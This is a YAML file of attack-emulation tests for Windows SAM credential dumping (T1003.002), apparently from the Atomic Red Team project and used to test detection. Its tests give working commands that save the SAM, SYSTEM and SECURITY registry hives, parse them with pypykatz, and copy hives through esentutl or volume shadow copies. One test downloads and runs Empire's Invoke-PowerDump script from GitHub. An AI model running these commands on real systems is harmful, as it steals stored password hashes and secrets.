attack_technique: T1003.002
display_name: "OS Credential Dumping: Security Account Manager"
atomic_tests:
- name: Registry dump of SAM, creds, and secrets
  auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44
  description: |
    Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
    via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

    Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
  supported_platforms:
  - windows
  executor:
    command: |
      reg save HKLM\sam %temp%\sam
      reg save HKLM\system %temp%\system
      reg save HKLM\security %temp%\security
    cleanup_command: |
      del %temp%\sam >nul 2> nul
      del %temp%\system >nul 2> nul
      del %temp%\security >nul 2> nul
    name: command_prompt
    elevation_required: true

- name: Registry parse with pypykatz
  auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263
  description: |
    Parses registry hives to obtain stored credentials
  supported_platforms:
  - windows
  dependency_executor_name: command_prompt
  dependencies:
  - description: |
      Computer must have python 3 installed
    prereq_command: |
      py -3 --version >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      echo "Python 3 must be installed manually"
  - description: |
      Computer must have pip installed
    prereq_command: |
      py -3 -m pip --version >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      echo "PIP must be installed manually"
  - description: |
      pypykatz must be installed and part of PATH
    prereq_command: |
      pypykatz -h >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      pip install pypykatz
  executor:
    command: |
      pypykatz live registry
    name: command_prompt
    elevation_required: true
- name: esentutl.exe SAM copy
  auto_generated_guid: a90c2f4d-6726-444e-99d2-a00cd7c20480
  description: |
    Copy the SAM hive using the esentutl.exe utility
    This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
  supported_platforms:
  - windows
  input_arguments:
    file_path:
      description: Path to the file to copy
      type: Path
      default: '%SystemRoot%/system32/config/SAM'
    file_name:
      description: Name of the copied file
      type: String
      default: SAM
    copy_dest:
      description: Destination of the copied file
      type: String
      default: '%temp%'
  executor:
    command: |
      esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
    name: command_prompt
    elevation_required: true
    cleanup_command: |
      del #{copy_dest}\#{file_name} >nul 2>&1
    
- name: PowerDump Registry dump of SAM for hashes and usernames
  auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193
  description: Executes a hashdump by reading the hasshes from the registry.
  supported_platforms:
  - windows
  executor:
    command: |-
      Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
      Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
      Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1" -UseBasicParsing -OutFile "$Env:Temp\PowerDump.ps1"
      Import-Module "$Env:Temp\PowerDump.ps1"
      Invoke-PowerDump
    name: powershell
    elevation_required: true

- name: dump volume shadow copy hives with certutil
  auto_generated_guid: eeb9751a-d598-42d3-b11c-c122d9c3f6c7
  description: |
    Dump hives from volume shadow copies with the certutil utility
    This can be done with a non-admin user account
  supported_platforms:
  - windows
  input_arguments:
    dump_path:
      description: Path where the hive will be dumped
      type: Path
      default: $ENV:temp
    target_hive:
      description: Hive you wish to dump
      type: String
      default: SAM
    dumped_hive:
      description: Name of the dumped hive
      type: String
      default: myhive
  executor:
    command: |
      write-host ""
      $shadowlist = get-wmiobject win32_shadowcopy
      $volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
      $maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
      $shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Windows\System32\config\#{target_hive}"
      certutil -f -v -encodehex $shadowpath #{dump_path}\#{dumped_hive} 2
    name: powershell
    elevation_required: false 
    cleanup_command: |
      $toremove = #{dump_path} + "\" + '#{dumped_hive}'
      rm $toremove -ErrorAction Ignore

- name: dump volume shadow copy hives with System.IO.File
  auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0
  description: |
    Dump hives from volume shadow copies with System.IO.File
  supported_platforms:
  - windows
  input_arguments:
    dump_path:
      description: Path where the hive will be dumped
      type: Path
      default: $ENV:temp
    target_hive:
      description: Hive you wish to dump
      type: String
      default: SAM
    dumped_hive:
      description: Name of the dumped hive
      type: String
      default: myhive
  executor:
    command: |
      write-host ""
      $shadowlist = get-wmiobject win32_shadowcopy
      $volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
      $maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
      $shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Windows\System32\config\#{target_hive}"
      $mydump = #{dump_path} + '\' + '#{dumped_hive}'
      [System.IO.File]::Copy($shadowpath , $mydump)
    name: powershell
    elevation_required: false 
    cleanup_command: |
      $toremove = #{dump_path} + "\" + '#{dumped_hive}'
      rm $toremove -ErrorAction Ignore